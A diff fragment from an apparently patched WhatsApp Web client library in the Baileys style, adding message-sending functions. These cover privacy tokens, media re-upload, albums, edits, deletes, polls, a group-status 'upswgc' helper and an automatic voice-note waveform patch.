+ else if (message.groupInviteMessage) {
656
+ return 'url';
657
+ }
658
+ };
659
+ const getPrivacyTokens = async (jids) => {
660
+ const t = (0, Utils_1.unixTimestampSeconds)().toString();
661
+ const result = await query({
662
+ tag: 'iq',
663
+ attrs: {
664
+ to: WABinary_1.S_WHATSAPP_NET,
665
+ type: 'set',
666
+ xmlns: 'privacy'
667
+ },
668
+ content: [
669
+ {
670
+ tag: 'tokens',
671
+ attrs: {},
672
+ content: jids.map(jid => ({
673
+ tag: 'token',
674
+ attrs: {
675
+ jid: (0, WABinary_1.jidNormalizedUser)(jid),
676
+ t,
677
+ type: 'trusted_contact'
678
+ }
679
+ }))
680
+ }
681
+ ]
682
+ });
683
+ return result;
684
+ };
685
+ const waUploadToServer = (0, Utils_1.getWAUploadToServer)(config, refreshMediaConn);
686
+ const waitForMsgMediaUpdate = (0, Utils_1.bindWaitForEvent)(ev, 'messages.media-update');
687
+ return {
688
+ ...sock,
689
+ getPrivacyTokens,
690
+ assertSessions,
691
+ relayMessage,
692
+ sendReceipt,
693
+ sendReceipts,
694
+ readMessages,
695
+ refreshMediaConn,
696
+ waUploadToServer,
697
+ fetchPrivacySettings,
698
+ getUSyncDevices,
699
+ createParticipantNodes,
700
+ sendPeerDataOperationMessage,
701
+ updateMediaMessage: async (message) => {
702
+ const content = (0, Utils_1.assertMediaContent)(message.message);
703
+ const mediaKey = content.mediaKey;
704
+ const meId = authState.creds.me.id;
705
+ const node = await (0, Utils_1.encryptMediaRetryRequest)(message.key, mediaKey, meId);
706
+ let error = undefined;
707
+ await Promise.all([
708
+ sendNode(node),
709
+ waitForMsgMediaUpdate(async (update) => {
710
+ const result = update.find(c => c.key.id === message.key.id);
711
+ if (result) {
712
+ if (result.error) {
713
+ error = result.error;
714
+ }
715
+ else {
716
+ try {
717
+ const media = await (0, Utils_1.decryptMediaRetryData)(result.media, mediaKey, result.key.id);
718
+ if (media.result !== WAProto_1.proto.MediaRetryNotification.ResultType.SUCCESS) {
719
+ const resultStr = WAProto_1.proto.MediaRetryNotification.ResultType[media.result];
720
+ throw new boom_1.Boom(`Media re-upload failed by device (${resultStr})`, { data: media, statusCode: (0, Utils_1.getStatusCodeForMediaRetry)(media.result) || 404 });
721
+ }
722
+ content.directPath = media.directPath;
723
+ content.url = (0, Utils_1.getUrlFromDirectPath)(content.directPath);
724
+ logger.debug({ directPath: media.directPath, key: result.key }, 'media update successful');
725
+ }
726
+ catch (err) {
727
+ error = err;
728
+ }
729
+ }
730
+ return true;
731
+ }
732
+ })
733
+ ]);
734
+ if (error) {
735
+ throw error;
736
+ }
737
+ ev.emit('messages.update', [
738
+ { key: message.key, update: { message: message.message } }
739
+ ]);
740
+ return message;
741
+ },
742
+
743
+
744
+ // === PATCH: upswgc ===
745
+ upswgc: async (jid, storyContent = {}) => {
746
+ try {
747
+ const userJid = authState?.creds?.me?.id || sock?.user?.id;
748
+ let waMsgContent;
749
+ const hasMedia = storyContent.image || storyContent.video || storyContent.document || storyContent.audio;
750
+
751
+ if (storyContent.message) {
752
+ waMsgContent = storyContent;
753
+ } else if (hasMedia) {
754
+ if (typeof Utils_1.generateWAMessageContent === "function") {
755
+ waMsgContent = await Utils_1.generateWAMessageContent(storyContent, {
756
+ upload: waUploadToServer
757
+ });
758
+ } else if (typeof sock?.generateWAMessageContent === "function") {
759
+ waMsgContent = await sock.generateWAMessageContent(storyContent, {
760
+ upload: waUploadToServer
761
+ });
762
+ } else {
763
+ waMsgContent = storyContent;
764
+ }
765
+ } else if (storyContent.text) {
766
+ waMsgContent = { conversation: storyContent.text };
767
+ } else {
768
+ waMsgContent = storyContent;
769
+ }
770
+
771
+ const msg = {
772
+ message: {
773
+ groupStatusMessageV2: { message: waMsgContent.message || waMsgContent }
774
+ }
775
+ };
776
+
777
+ const messageId = (typeof Utils_1.generateMessageIDV2 === "function")
778
+ ? Utils_1.generateMessageIDV2(sock?.user?.id)
779
+ : Utils_1.generateMessageID();
780
+
781
+ await relayMessage(jid, msg.message, { messageId });
782
+ console.log("upswgc success:", jid);
783
+ return msg;
784
+ } catch (err) {
785
+ console.error("upswgc error:", err);
786
+ throw err;
787
+ }
788
+ },
789
+
790
+ sendMessage: async (jid, content, options = {}) => {
791
+ var _a, _b, _c;
792
+
793
+
794
+
795
+ // === AUTO WAVEFORM PATCH START ===
796
+ try {
797
+ const { getAudioWaveform } = require('../Utils/messages-media');
798
+ const fs = require('fs');
799
+ if (content && typeof content === 'object' && content.audio && content.ptt) {
800
+ let buffer;
801
+ if (Buffer.isBuffer(content.audio)) buffer = content.audio;
802
+ else if (typeof content.audio === 'string' && fs.existsSync(content.audio))
803
+ buffer = fs.readFileSync(content.audio);
804
+ else if (content.audio.url && fs.existsSync(content.audio.url))
805
+ buffer = fs.readFileSync(content.audio.url);
806
+
807
+ if (buffer) {
808
+ const waveform = await getAudioWaveform(buffer);
809
+ if (waveform && waveform.length) {
810
+ content.waveform = waveform;
811
+ if (!content.mimetype)
812
+ content.mimetype = 'audio/ogg; codecs=opus';
813
+ }
814
+ }
815
+ }
816
+ } catch (err) {
817
+ console.log('[WILEYSS PATCH] Gagal generate waveform otomatis:', err.message);
818
+ }
819
+ // === AUTO WAVEFORM PATCH END ===
820
+
821
+ const userJid = authState.creds.me.id;
822
+ if (!options.ephemeralExpiration) {
823
+ if ((0, WABinary_1.isJidGroup)(jid)) {
824
+ const groups = await sock.groupQuery(jid, 'get', [{
825
+ tag: 'query',
826
+ attrs: {
827
+ request: 'interactive'
828
+ }
829
+ }]);
830
+ const metadata = (0, WABinary_1.getBinaryNodeChild)(groups, 'group');
831
+ const expiration = ((_b = (_a = (0, WABinary_1.getBinaryNodeChild)(metadata, 'ephemeral')) === null || _a === void 0 ? void 0 : _a.attrs) === null || _b === void 0 ? void 0 : _b.expiration) || 0;
832
+ options.ephemeralExpiration = expiration;
833
+ }
834
+ }
835
+ if (typeof content === 'object' &&
836
+ 'disappearingMessagesInChat' in content &&
837
+ typeof content['disappearingMessagesInChat'] !== 'undefined' &&
838
+ (0, WABinary_1.isJidGroup)(jid)) {
839
+ const { disappearingMessagesInChat } = content;
840
+ const value = typeof disappearingMessagesInChat === 'boolean' ?
841
+ (disappearingMessagesInChat ? Defaults_1.WA_DEFAULT_EPHEMERAL : 0) :
842
+ disappearingMessagesInChat;
843
+ await groupToggleEphemeral(jid, value);
844
+ }
845
+ if (typeof content === 'object' && 'album' in content && content.album) {
846
+ const { album, caption } = content;
847
+ if (caption && !album[0].caption) {
848
+ album[0].caption = caption;
849
+ }
850
+ let mediaHandle;
851
+ let mediaMsg;
852
+ const albumMsg = (0, Utils_1.generateWAMessageFromContent)(jid, {
853
+ albumMessage: {
854
+ expectedImageCount: album.filter(item => 'image' in item).length,
855
+ expectedVideoCount: album.filter(item => 'video' in item).length
856
+ }
857
+ }, { userJid, ...options });
858
+ await relayMessage(jid, albumMsg.message, {
859
+ messageId: albumMsg.key.id
860
+ });
861
+ for (const i in album) {
862
+ const media = album[i];
863
+ if ('image' in media) {
864
+ mediaMsg = await (0, Utils_1.generateWAMessage)(jid, {
865
+ image: media.image,
866
+ ...(media.caption ? { caption: media.caption } : {}),
867
+ ...options
868
+ }, {
869
+ userJid,
870
+ upload: async (readStream, opts) => {
871
+ const up = await waUploadToServer(readStream, { ...opts, newsletter: (0, WABinary_1.isJidNewsletter)(jid) });
872
+ mediaHandle = up.handle;
873
+ return up;
874
+ },
875
+ ...options,
876
+ });
877
+ }
878
+ else if ('video' in media) {
879
+ mediaMsg = await (0, Utils_1.generateWAMessage)(jid, {
880
+ video: media.video,
881
+ ...(media.caption ? { caption: media.caption } : {}),
882
+ ...(media.gifPlayback !== undefined ? { gifPlayback: media.gifPlayback } : {}),
883
+ ...options
884
+ }, {
885
+ userJid,
886
+ upload: async (readStream, opts) => {
887
+ const up = await waUploadToServer(readStream, { ...opts, newsletter: (0, WABinary_1.isJidNewsletter)(jid) });
888
+ mediaHandle = up.handle;
889
+ return up;
890
+ },
891
+ ...options,
892
+ });
893
+ }
894
+ if (mediaMsg) {
895
+ mediaMsg.message.messageContextInfo = {
896
+ messageSecret: (0, crypto_1.randomBytes)(32),
897
+ messageAssociation: {
898
+ associationType: 1,
899
+ parentMessageKey: albumMsg.key
900
+ }
901
+ };
902
+ }
903
+ await relayMessage(jid, mediaMsg.message, {
904
+ messageId: mediaMsg.key.id
905
+ });
906
+ await new Promise(resolve => setTimeout(resolve, 800));
907
+ }
908
+ return albumMsg;
909
+ }
910
+ else {
911
+ let mediaHandle;
912
+ const fullMsg = await (0, Utils_1.generateWAMessage)(jid, content, {
913
+ logger,
914
+ userJid,
915
+ getUrlInfo: text => (0, link_preview_1.getUrlInfo)(text, {
916
+ thumbnailWidth: linkPreviewImageThumbnailWidth,
917
+ fetchOpts: {
918
+ timeout: 3000,
919
+ ...axiosOptions || {}
920
+ },
921
+ logger,
922
+ uploadImage: generateHighQualityLinkPreview
923
+ ? waUploadToServer
924
+ : undefined
925
+ }),
926
+ getProfilePicUrl: sock.profilePictureUrl,
927
+ upload: async (readStream, opts) => {
928
+ const up = await waUploadToServer(readStream, { ...opts, newsletter: (0, WABinary_1.isJidNewsletter)(jid) });
929
+ mediaHandle = up.handle;
930
+ return up;
931
+ },
932
+ mediaCache: config.mediaCache,
933
+ options: config.options,
934
+ messageId: (0, Utils_1.generateMessageIDV2)((_c = sock.user) === null || _c === void 0 ? void 0 : _c.id),
935
+ ...options,
936
+ });
937
+ const isDeleteMsg = 'delete' in content && !!content.delete;
938
+ const isEditMsg = 'edit' in content && !!content.edit;
939
+ const isPinMsg = 'pin' in content && !!content.pin;
940
+ const isKeepMsg = 'keep' in content && content.keep;
941
+ const isPollMessage = 'poll' in content && !!content.poll;
942
+ const isAiMsg = 'ai' in content && !!content.ai;
943
+ const additionalAttributes = {};
944
+ const additionalNodes = [];
945
+ // required for delete
946
+ if (isDeleteMsg) {
947
+ // if the chat is a group, and I am not the author, then delete the message as an admin
948
+ if (((0, WABinary_1.isJidGroup)(content.delete.remoteJid) && !content.delete.fromMe) || (0, WABinary_1.isJidNewsletter)(jid)) {
949
+ additionalAttributes.edit = '8';
950
+ }
951
+ else {
952
+ additionalAttributes.edit = '7';
953
+ }
954
+ // required for edit message
955
+ }
956
+ else if (isEditMsg) {
957
+ additionalAttributes.edit = (0, WABinary_1.isJidNewsletter)(jid) ? '3' : '1';
958
+ // required for pin message
959
+ }
960
+ else if (isPinMsg) {
961
+ additionalAttributes.edit = '2';
962
+ // required for keep message
963
+ }
964
+ else if (isKeepMsg) {
965
+ additionalAttributes.edit = '6';
966
+ // required for polling message
967
+ }
968
+ else if (isPollMessage) {
969
+ additionalNodes.push({
970
+ tag: 'meta',
971
+ attrs: {
972
+ polltype: 'creation'
973
+ },
974
+ });
975
+ // required to display AI icon on message
976
+ }
977
+ else if (isAiMsg) {
978
+ additionalNodes.push({
979
+ attrs: {
980
+ biz_bot: '1'
981
+ },
982
+ tag: "bot"
983
+ });
984
+ }
985
+ if (mediaHandle) {
986
+ additionalAttributes['media_id'] = mediaHandle;
987
+ }
988
+ if ('cachedGroupMetadata' in options) {
989
+ console.warn('cachedGroupMetadata in sendMessage are deprecated, now cachedGroupMetadata is part of the socket config.');
990
+ }
991
+ await relayMessage(jid, fullMsg.message, { messageId: fullMsg.key.id, useCachedGroupMetadata: options.useCachedGroupMetadata, additionalAttributes, additionalNodes: isAiMsg ? additionalNodes : options.additionalNodes, statusJidList: options.statusJidList });
992
+ if (config.emitOwnEvents) {
993
+ process.nextTick(() => {
994
+ processingMutex.mutex(() => (upsertMessage(fullMsg, 'append')));
995
+ });
996
+ }
997
+ return fullMsg;
998
+ }
999
+ }
1000
+ };
1001
+ };
1002
+ exports.makeMessagesSocket = makeMessagesSocket;